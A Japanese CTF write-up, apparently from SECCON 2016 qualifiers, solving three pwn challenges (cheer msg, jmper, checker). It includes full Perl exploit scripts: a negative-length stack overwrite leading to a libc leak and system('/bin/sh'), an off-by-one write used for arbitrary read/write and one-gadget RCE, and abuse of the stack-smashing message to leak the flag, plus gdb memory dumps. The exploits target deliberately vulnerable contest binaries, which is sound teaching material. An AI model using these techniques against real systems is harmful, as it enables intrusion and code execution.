次の3問を解きました。
+ cheer msg (Exploits 100)
+ jmper (Exploits 300)
+ checker (Exploits 300)
解いた問題について、以降記載します。
・cheer msg (Exploits 100)
マイナスの値をいれて攻める問題の可能性が高いと推測
例:
$ perl -e 'print -0x804ca70'
-134531696
Message Lengthに-134531696を指定するとGOT付近を更新可能?
$ gdb -q cheer_msg -ex 'b *0x804862d' -ex r -ex q
などで続きの処理をながめることができる。 0x804862dはmessage()関数のよびだし部分
-200あたりを入れるとリターンアドレスより先のアドレスの値を更新可能
GOT書き換えか、main()関数のリターンアドレス書き換えか?=>要検証
前者な気がしたが、GOTまわりを1箇所だけでなく複数書き換えてしまうことになるため、違うと推測。
-100~-300あたりを入れるとカナリア値破壊やスタックセグメントのリークが可能。後者の可能性が高いと判断★
一つ一つ手入力はしんどいのでワンライナーで確認
# for n in `seq 100 4 200` ; do echo -- $n -- ; perl -e "print \"-$n\nAA\nBB\n\"" | ./cheer_msg | xxd -g 1 | tail -n 2 ; done
(snip)
-- 168 --
000000b0: 20 01 0a ..
-- 172 --
000000b0: 20 01 0a ..
-- 176 --
*** stack smashing detected ***: ./cheer_msg terminated
000000b0: 20 ca 85 04 08 01 0a ......
-- 180 --
*** stack smashing detected ***: ./cheer_msg terminated
000000b0: 20 ca 85 04 08 01 0a ......
-- 184 --
*** stack smashing detected ***: ./cheer_msg terminated
000000b0: 20 ca 85 04 08 01 0a ......
-- 188 --
*** stack smashing detected ***: ./cheer_msg terminated
000000b0: 20 ca 85 04 08 01 0a ......
-- 192 --
000000c0: f7 01 0a ...
-- 196 --
リターンアドレスは-192入れた付近に存在?
exploitを作成して、深堀りしていく
# cat try.pl
use pwntools; # 自作のperlモジュール
use Time::HiRes qw(usleep);
#&connect(\$s, 'localhost', 5000) or die "ng";
&connect(\$s, 'cheermsg.pwn.seccon.jp', 30527) or die "ng";
print &read_until($s, qr/Length\s\>\>\s/);
$buf = "-".int($ARGV[0])."\n";
syswrite($s, $buf, length($buf));
print &read_until($s, qr/Name\s\>\>\s/);
$buf = p(0x08048430).p(0x080484b0).p(0x0804a029) ."\n"; # printf@plt, _start, __libc_start_main@got+1
# ★_libc_start_main@gotの下位アドレスに0x00がまざっていてはまった
#sleep(5); # デバッガでアタッチしてメモリ配置を確認するためのsleep
syswrite($s, $buf, length($buf));
usleep(1000000);
sysread($s, $data, 1024);
#printf("[+] %s", unpack("H*", $data));
$i = index($data, "\x20\n");
print "[+] index = $i\n";
$addr = u("\x00".substr($data, $i+2, 3)); # 下位1バイトは0x00★
printf("[+] libc_start_main=0x%08x\n", $addr);
#exit(0);
# local
#$system_offset=0x3ada0;
#$lsm_offset = 0x18540;
#$binsh_offset = 0x15b82b;
#remote
$system_offset=0x00040310;
$lsm_offset = 0x00019a00;# T __libc_start_main
$binsh_offset = 0x16084c;
$system_addr = $addr - $lsm_offset + $system_offset;
$binsh_addr = $addr - $lsm_offset + $binsh_offset;
printf("[+] libc_base=0x%08x\n", $addr-$lsm_offset);
printf("[+] system=0x%08x\n", $system_addr);
$buf = "-".int($ARGV[0])."\n";
syswrite($s, $buf, length($buf));
print &read_until($s, qr/Name\s\>\>\s/);
$buf = p($system_addr).p(0x41414141).p($binsh_addr)."\n"; # system("/bin/sh")★
syswrite($s, $buf, length($buf));
usleep(1000000);
sysread($s, $data, 1024);
&interact($s);
exit(0);
__END__
exploit実行
# perl try.pl 144 # ★指定するサイズは-144 e.g. for i in `seq 100 200`; do echo -- $i --; perl try.pl $i; doneなどで確認
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >>
Thank you 0?)!
Message :
?[?]?Hello, I'm Nao.
Give me your cheering messages :)
Message Length >>
[+] 0a5468616e6b20796f752030840408b084040829a00408210a4d657373616765203a200a8a5bf7e0085df748656c6c6f2c2049276d204e616f2e0a47697665206d6520796f7572206368656572696e67206d65737361676573203a290a0a4d657373616765204c656e677468203e3e20[+] index = 34
[+] libc_start_main=0xf75b8a00
[+] libc_base=0xf759f000
[+] system=0xf75df310
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> id
uid=10504 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}★フラグ奪取成功
#色々はまって、この一問で時間とエネルギーをかなり使ってしまった。
・jmper (Exploits 300)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH jmper
デコンパイルした結果をみて、Off-by-oneエラーに気づいてからは一直線だった気がする
$ ./jmper
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
$ cat try.pl
use pwntools;
use Time::HiRes qw (usleep);
$pwntools::ARCH = '64';
# 攻略検討時のコード
#&connect(\$s, 'localhost', 5000) or die "ng";
#$name_id = 0;
#$memo_id = 0;
#$cname = 'A';
#$cmemo = 'a';
#foreach (0..29) {
#&add();
#&update_memo();
#&update_name();
##&show_name();
##&show_memo();
#$cname =~ tr/ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/BCDEFGHIJKLMNOPQRSTUVWXYZ0123456789A/;
#$cmemo =~ tr/abcdefghijklmnopqrstuvwxyz0123456789/bcdefghijklmnopqrstuvwxyz0123456789a/;
#}
#local
#$lsm_offset=0x20950;
#$rce_offset=0xf170d;
#$env_offset=0x3c7218;
#remote
$lsm_offset=0x21e50;
$rce_offset=0xe66bd;
$env_offset=0x3c14a0;
#&connect(\$s, 'localhost', 5000) or die "ng";
&connect(\$s, 'jmper.pwn.seccon.jp', 5656) or die "ng";
&add();
# add(malloc)した後、memoをnameより先に書き込む
&update_memo(0, 'a' x 33); # memoを一バイト多く書き込むことで、nameの格納先アドレスを変えられる. 任意アドレスの読み書きが可能になる?
&update_name(0, "A" x 32);
&add();
&update_memo(1, 'b' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを別の値で上書きできるよう調整する★
&update_name(1, "B" x (32-10).p(0x601fb0)); # 参照したい__libc_start_main@gotのアドレスを埋め込む。offsetはデバッガで調整
&add();
# leak libc_base
&read_until($s, qr/Bye\s:\)\s/);
$buf = "4\n"; syswrite($s, $buf, length($buf)); # index=1のname(__libc_start_main@got)を参照する
&read_until($s, qr/ID:/);
$buf = "1\n"; syswrite($s, $buf, length($buf));
usleep(500000);
sysread($s, $data, 6);
$libc_base = u($data."\x00\x00") - $lsm_offset;
printf("[+] libc_base=0x%016x\n", $libc_base);
printf("[+] rce_addr=0x%016x\n", $libc_base+$rce_offset);
printf("[+] env_addr=0x%016x\n", $libc_base+$env_offset);
# leak stack addr
&update_memo(2, 'c' x 33); # index=0と1のデータは一度使うと再利用不可のようなので、もうひとつ作る
&update_name(2, "C" x 32);
&add();
&update_memo(3, 'B' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを上書きできるよう調整する
&update_name(3, "D" x (32-10).p($libc_base+$env_offset)); # スタックのアドレスを__environを参照して特定する。その少し上にリターンアドレスが存在する★
&add();
&read_until($s, qr/Bye\s:\)\s/);
$buf = "4\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/ID:/);
$buf = "3\n"; syswrite($s, $buf, length($buf));
usleep(500000);
sysread($s, $data, 6);
$ret_addr = u($data."\x00\x00") - (int($ARGV[0])*8); # リターンアドレスの特定には微調整が必要。引数で変えられるようにしておく★
printf("[+] ret_addr=0x%016x\n", $ret_addr);
# update ret_addr
&update_memo(4, 'e' x 33);# 前につくったデータは再利用不可。もうひとつ作る
&update_name(4, "E" x 32);
&add();
&update_memo(5, '"' x 33); # 33個目に書き込む文字はデバッガで微調整する。nameの格納先アドレスを上書きできるよう調整する★
&update_name(5, "F" x (32-10).p($ret_addr)); # 特定したリターンアドレスを埋め込んで上書きする
&add();
&update_name(5, p($libc_base+$rce_offset)); # One Gadget RCEで攻略
#&update_name(5, p(0x400730)); #0000000000400730 <_start>: # リターンアドレス特定用。引数を変えながら実行し、Webcomeと再表示される値を探る。
foreach (0..29-6) { &add(); } # retまで辿り着くためにaddを繰り返す
usleep(500000);
#sysread($s, $data, 1024); print $data; # リターンアドレス特定用
$buf = "cat f*\n"; syswrite($s, $buf, length($buf)); # cat flag.txtをキック
usleep(500000);
sysread($s, $data, 1024); print $data;
exit;
sub add {
&read_until($s, qr/Bye\s:\)\s/);
$buf = "1\n"; syswrite($s, $buf, length($buf));
}
sub update_name {
my $num = shift || 0;
my $str = shift || undef;
&read_until($s, qr/Bye\s:\)\s/);
$buf = "2\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/ID:/);
$buf = $num."\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/name:/);
$buf = $str . "\n"; syswrite($s, $buf, length($buf));
}
sub update_memo {
my $num = shift || 0;
my $str = shift || undef;
&read_until($s, qr/Bye\s:\)\s/);
$buf = "3\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/ID:/);
$buf = $num."\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/memo:/);
$buf = $str . "\n"; syswrite($s, $buf, length($buf));
}
sub show_name {
&read_until($s, qr/Bye\s:\)\s/);
$buf = "4\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/ID:/);
$buf = $name_id ."\n"; syswrite($s, $buf, length($buf));
$name_id++;
}
sub show_memo {
&read_until($s, qr/Bye\s:\)\s/);
$buf = "5\n"; syswrite($s, $buf, length($buf));
&read_until($s, qr/ID:/);
$buf = $memo_id ."\n"; syswrite($s, $buf, length($buf));
$memo_id++;
}
__END__
前準備(libc内の各関数などのオフセット確認)
$ cat getaddrs.pl
use pwntools;
$libc = new elfinfo(file => 'libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e');
printf("[+] system offset=0x%x\n", $libc->function('system'));
printf("[+] execl offset=0x%x\n", $libc->function('execl'));
printf("[+] open offset=0x%x\n", $libc->function('open'));
printf("[+] read offset=0x%x\n", $libc->function('read'));
printf("[+] write offset=0x%x\n", $libc->function('write'));
printf("[+] __environ offset=0x%x\n", $libc->function('__environ'));
printf("[+] lsm offset=0x%x\n", $libc->function('__libc_start_main'));
printf("[+] /bin/sh offset=0x%x\n", $libc->search('/bin/sh'));
@addrs = $libc->rce();
if (@addrs > 0) {
map { printf("[+] one-gadget-rce x64 offset=0x%x\n", $_); } @addrs;
}
$ perl getaddr.pl
[+] system offset=0x46590
[+] execl offset=0xc14a0
[+] open offset=0xeb4b0
[+] read offset=0xeb6a0
[+] write offset=0xeb700
[+] __environ offset=0x3c14a0
[+] lsm offset=0x21e50
[+] /bin/sh offset=0x17c8c3
[+] base_addr=0x7fffeb9e40
[+] system_addr=0x7ffff003d0
[+] one-gadget-rce x64 offset=0x4647c
[+] one-gadget-rce x64 offset=0xc12b0
[+] one-gadget-rce x64 offset=0xe5765★ここが微妙にずれていてはまった。手動で確認して対応した
リターンアドレス特定
# for i in `seq 10 40`; do echo -- $i --; perl try.pl $i; done
30でいける★
# perl try.pl 30
[+] libc_base=0x00007fef83ac1000
[+] rce_addr=0x00007fef83ba76bd
[+] env_addr=0x00007fef83e824a0
[+] ret_addr=0x00007ffd7a600698
Exception has occurred. Jump!
Nice jump! Bye :)
SECCON{3nj0y_my_jmp1n9_serv1ce}★フラグ奪取成功
・checker (Exploits 300)
checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped
# checksec.sh --file checker
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH checker
# strings -tx -a checker
a38 flag.txt
a48 Hello! What is your name?
a62 NAME :
a6b Do you know flag?
a89 Oh, Really??
a96 Please tell me the flag!
aaf FLAG :
ab8 Why won't you tell me that???
ad7 You are a liar...
aea Thank you, %s!!
(snip)
2277 flag
227c _init
2282 read_flag
# ./checker
Hello! What is your name?
NAME : %p
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : %p
You are a liar...
bofの脆弱性あり、ただカナリア値が埋め込まれている
スタック上のargvを更新後、stack checkにわざと引っかかって、フラグを出力させる問題?=>要検証
nameを答える質問で適当に256バイト書いて、"yes"と答え、flagの質問にはnameのときに書いた後半128バイトを書く、でフラグ文字列のチェックをすり抜け可能。
264バイト以上使うと、stack checkに引っかかる。でもフラグを上書きすることになるので取得できなくなる=>NG
nameを有効活用し、strcmpをうまく使ってカナリア値を特定してbof?=>接続を維持できないのでNG
わざとstack checkにひっかかってフラグを出力する問題の可能性が高い★
リモートで、stack smashing detectedが拾えるかどうか(環境変数LIBC_FATAL_STDERR_=1しなくてよいかどうか)を確認
=>環境変数上書き不要。stack smashing detectedが返ってくる★
デバッガでメモリ配置確認
gdb-peda$ telescope 0x6010c0
0000| 0x6010c0 ("FLAG_", 'G' <repeats 17 times>, "\n") ; ★フラグ格納先
0008| 0x6010c8 ('G' <repeats 14 times>, "\n")
0016| 0x6010d0 --> 0xa474747474747 ('GGGGGG\n')
400919: e8 b2 fc ff ff call 4005d0 <__stack_chk_fail@plt> ★逆アセンブルした結果からbpのしかけどころ確認
40091e: c9 leave
40091f: c3 ret
0000| 0x7fffffffe318 --> 0x7ffff7a2fa40 (<__libc_start_main+240>: mov edi,eax) ; ★スタックまわり確認
0008| 0x7fffffffe320 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")
0016| 0x7fffffffe328 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")
0024| 0x7fffffffe330 --> 0x100000001
0032| 0x7fffffffe338 --> 0x400808 (<main>: push rbp)
0040| 0x7fffffffe340 --> 0x0
0048| 0x7fffffffe348 --> 0xfd8b3f7e0915e11c
gdb-peda$ telescope $rsp-0xa0 0x300
0000| 0x7fffffffe278 --> 0x400905 (<main+253>: mov eax,0x0)
0008| 0x7fffffffe280 ('A' <repeats 28 times>) ; ★バッファの先頭
0016| 0x7fffffffe288 ('A' <repeats 20 times>)
0024| 0x7fffffffe290 ('A' <repeats 12 times>)
0032| 0x7fffffffe298 --> 0x41414141 ('AAAA')
0040| 0x7fffffffe2a0 --> 0x300000000
0048| 0x7fffffffe2a8 --> 0x5dd504936e33ec00
0056| 0x7fffffffe2b0 --> 0x7fffffffe2d0 --> 0x2
0064| 0x7fffffffe2b8 --> 0x40076e (<init+33>: mov rdx,QWORD PTR [rbp-0x8])
0072| 0x7fffffffe2c0 --> 0x7ffff7ff7638 --> 0x7ffff7a0f000 --> 0x3010102464c457f
0080| 0x7fffffffe2c8 --> 0x5dd504936e33ec00
0088| 0x7fffffffe2d0 --> 0x2
0096| 0x7fffffffe2d8 --> 0x4009fd (<__libc_csu_init+77>: add rbx,0x1)
0104| 0x7fffffffe2e0 --> 0xc2
0112| 0x7fffffffe2e8 --> 0x0
0120| 0x7fffffffe2f0 --> 0x4009b0 (<__libc_csu_init>: push r15)
0128| 0x7fffffffe2f8 --> 0x400660 (<_start>: xor ebp,ebp)
0136| 0x7fffffffe300 --> 0x7fffffffe3f0 --> 0x1
0144| 0x7fffffffe308 --> 0x5dd504936e33ec00
0152| 0x7fffffffe310 --> 0x4009b0 (<__libc_csu_init>: push r15)
0160| 0x7fffffffe318 --> 0x7ffff7a2fa40 (<__libc_start_main+240>: mov edi,eax)
0168| 0x7fffffffe320 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")
0176| 0x7fffffffe328 --> 0x7fffffffe3f8 --> 0x7fffffffe679 ("/mnt/ctf/seccon2016/pwn300_2/checker")
0184| 0x7fffffffe330 --> 0x100000001
0192| 0x7fffffffe338 --> 0x400808 (<main>: push rbp)
gdb-peda$ p/d 0x7fffffffe3f8 - 0x7fffffffe280★オフセット確認
$1 = 376★
socatでサーバを立ててとりあえずexploit作成
# perl try.pl
Hello! What is your name?
NAME :
Do you know flag?
>>
Oh, Really??
Please tell me the flag!
FLAG : You are a liar...
*** stack smashing detected ***: ./checker terminated
リモートでもOK。stack smashing detectedは数回に一回しかでない?!
gdbでsiしてargvの格納先を把握
=> 0x7f649a030e87 <__fortify_fail+87>: call 0x7f6499f90980
0x7f649a030e8c <__fortify_fail+92>: jmp 0x7f649a030e68 <__fortify_fail+56>
0x7f649a030e8e: xchg ax,ax
0x7f649a030e90: sub rsp,0x8
0x7f649a030e94: mov esi,0x1
Guessed arguments:
arg[0]: 0x1
arg[1]: 0x7f649a0a6dad ("*** %s ***: %s terminated\n")
arg[2]: 0x7f649a0a6d95 ("stack smashing detected")
arg[3]: 0x7fff611cf600 ("./checker") ★出力する際、ここを見ている
ただ、arg[3]が0x7fff006010c0になってしまう問題(0x7fffが残ってしまう問題)を解決する必要あり。
nameを活用?。yesの後ろに文字列を仕込む? など、いろいろ試してみる
発見! Do you know flag?と何回も聞いてくれることを利用して\x00を1バイトづつ埋め込んでいけば攻略できる★
exploit更新
# cat try.pl
use pwntools;
use Time::HiRes qw (usleep);
$pwntools::ARCH = '64';
#local
#&connect(\$s, 'localhost', 5000) or die "ng";
&connect(\$s, 'checker.pwn.seccon.jp', 14726) or die "ng";
print &read_until($s, qr/NAME\s:\s/);
# Name
$buf = "hoge" . "\n" ; syswrite($s, $buf, length($buf));
# bofでargvにフラグのアドレスを埋め込みたいが0x00で書き込みがとまって、0x7fff006010c0となってしまう
# Do you know flag? と何回も聞いてくれるので、これを利用して0x00をスタックに埋めていけばOK
print &read_until($s, qr/>>/);
$buf = "P" x (376+7) . "\n"; syswrite($s, $buf, length($buf));
print &read_until($s, qr/>>/);
$buf = "P" x (376+6) . "\n"; syswrite($s, $buf, length($buf));
print &read_until($s, qr/>>/);
$buf = "P" x (376+5) . "\n"; syswrite($s, $buf, length($buf));
print &read_until($s, qr/>>/);
$buf = "P" x (376+4) . "\n"; syswrite($s, $buf, length($buf));
print &read_until($s, qr/>>/);
$buf = "P" x (376+0) . p(0x6010c0) . "\n"; syswrite($s, $buf, length($buf));
print &read_until($s, qr/>>/);
$buf = "yes\n"; syswrite($s, $buf, length($buf));
#sleep(5); # デバッガでアタッチしてメモリ配置を確認するためのsleep。 gdb -q -p `pidof -s ./checker`
print &read_until($s, qr/FLAG\s:\s/);
$buf = "X" x (128) . p(0x6010c0) x 1 . "\n";
syswrite($s, $buf, length($buf));
usleep(1000000);
sysread($s, $data, 1024); print $data;
exit;
__END__
exploit実行。
stack smashing detectedがなかなか返ってこなかったので、フラグが落ちてくるまで繰り返し実行
$ while : ; do echo --; perl try.pl; sleep 0.5; done
(snip)
--
Hello! What is your name?
NAME :
Do you know flag?
>>
Do you know flag?
>>
(snip)
Do you know flag?
>>
Oh, Really??
Please tell me the flag!
FLAG : You are a liar...
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated★フラグ奪取成功!
取りこぼし防止
# tcpdump -i br0 -nn -A -l tcp port 14726 | grep -i seccon
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
.]..x..H*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
# 0x00の埋め込みは2回でよかったかも...
他の問題も少し見てみたが、 heap絡みの問題が多かったような気がする(要強化)。
以上